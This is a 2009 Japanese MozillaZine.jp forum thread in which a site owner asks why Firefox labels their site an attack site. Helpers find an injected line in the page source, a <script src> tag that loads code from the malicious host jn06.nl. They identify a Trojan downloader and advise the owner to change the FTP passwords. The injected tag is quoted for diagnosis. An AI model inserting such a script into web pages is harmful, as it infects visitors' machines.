― MozillaZine.jp フォーラムは Mozilla 製品に関する情報交換の場です ―



All times are UTC + 9 hours

返信する
ユーザー名:
件名:
オプション:
BBCode: ON
[img]: ON
[flash]: OFF
[url]: ON
スマイリー: ON
BBCode を無効にする
フォントサイズ:
フォントカラー
スマイリーを無効にする
URL を自動的にパースしない
ユーザエージェントを表示する
認証コード
KCaptcha by Nikita_Sp
   

トピックのレビュー - ウイルス表示?
作成者 メッセージ
  記事の件名:  Re: ウイルス表示?  引用付きで返信する
放置 さん さんが書きました:
To Moderator.
Sakibaさんのコメントを見る限りウイルスが仕込まれたサイトに誘導されるようなので, コメント #0のリンクは無効にし,注意書きされた方がよろしいかと

そうですよね、大変失礼しました。そこまで気が回っておりませんでした。

対応いただいた方、ありがとうございました。

#あと、記載されているサイトの著作権云々も気になるのですが……?
投稿記事 Posted: 2009年11月20日(金) 10:05
  記事の件名:  Re: ウイルス表示?  引用付きで返信する
To Moderator.
Sakibaさんのコメントを見る限りウイルスが仕込まれたサイトに誘導されるようなので, コメント #0のリンクは無効にし,注意書きされた方がよろしいかと
投稿記事 Posted: 2009年11月19日(木) 19:01
  記事の件名:  Re: ウイルス表示?  引用付きで返信する
追記いたします。
リダイレクト先のサイトについてチェックしてみました。

↓ ※誤って踏まないよう、URL中にわざと半角スペース入れてあります。
http ://jn06.nl/countdown/wp-config.php では何も表示されませんでしたが、
http ://jn06.nl/countdown/ とすると下記リンクの通り、

検出されたウイルス(ワーム、スパイウエア)Trojan-Downloader.JS.Shadraem.a

との検出結果が出ました。

● aguse.jp:調査結果
投稿記事 Posted: 2009年11月19日(木) 14:47
  記事の件名:  Re: ウイルス表示?  引用付きで返信する
「このサイトがブロックされる理由」をクリックした先のページに
引用:
不正なソフトウェアは jn06.nl/ を含む 1 個のドメインでホストされています。

との表記が見られます。

トップページのソースを確認するとHTMLヘッダのすぐ下に
コード:
<script src=http://jn06.nl/countdown/wp-config.php ></script><body>

という1行があります。

もしかしたらウェブページに上記スクリプトを埋め込まれた可能性があるのではないでしょうか。
(私はあまり詳しくはありませんが)上記スクリプトによっておそらく他のページにリダイレクト
(転送)され、そのリダイレクト先で「ユーザーの同意なしに不正なソフトウェアがダウンロード
され、インストールされて
」しまうのではないかと推測されます。

というのも実は、私も仕事の関係でさくらインターネットにホスティングしているページについて、
似たような攻撃を受けました。おそらく悪意のプログラムによる総当たりか何かの方法で、FTP
パスワードがクラックされたのではないかと推測されました。幸いこちらの場合は、サイト上の
セキュリティが働いて空白ページしか表示されないようになっておりましたので、攻撃サイトとの
指定を受けることもなく、閲覧者の被害もなかったと思われます。

もしかしたら同じ手口のものかもしれません。FTP等のパスワードをすべて変更し(こまめに変更
したほうがいいかと思われます)一度、すべてのページのソースをチェックされることをお勧めします。

それらが原因だとしたら、それを取り除かないと Google にいくら解除を申請してもダメではないかと
思われます。
投稿記事 Posted: 2009年11月19日(木) 14:09
  記事の件名:  Re: ウイルス表示?  引用付きで返信する
 
「攻撃サイトとして報告されています!」という警告メッセージが表示されます。
ウイルス表示ではありません。

その警告メッセージ内の「このサイトがブロックされる理由」をクリックすると
「このサイトの所有者であれば、Google ウェブマスター ツールを使ってサイト
の審査を依頼することができます。審査プロセスの詳細については ウェブマ
スター ヘルプをご覧ください。」
とあります。
 
誤報告で「攻撃サイト」にされたのであれば上記の説明に従い、サイトの審査
を依頼すればいいのではありませんか。

 
*質問・投稿する前に フォーラムの利用について をきちんと読みましょう。
*環境として OS の種類、Firefox のバージョンぐらいは書き添えましょう。
*質問した後は結果や経過を必ず書くようにしましょう。

 
投稿記事 Posted: 2009年11月17日(火) 18:37
  記事の件名:  ウイルス表示?  引用付きで返信する
http ://www.aeonflux.jp/
このサイトの運営者なのですが、

攻撃サイトとして報告されています!
と表示されます。。。

どうすれば治るのでしょうか?

よろしくお願いいたします。

※ この話題は Firefox の機能とは直接関係のないものですので [ web 標準 ]フォーラムへ移動致します。
※ 尚、次回からは適切なフォーラムを選択の上、投稿下さいますようお願い申し上げます。
※ リダイレクト先にウィルスが仕込まれているとの情報がありましたので、URL に半角スペースを挿入してあります。ご注意下さい。 by moderator (ぼてじゃこ)
投稿記事 Posted: 2009年11月17日(火) 16:35

All times are UTC + 9 hours


ページ移動:  
cron
Powered by MozillaZine.jp® Forum Software © phpBB Group , Almsamim WYSIWYG
Japanese translation principally by ocean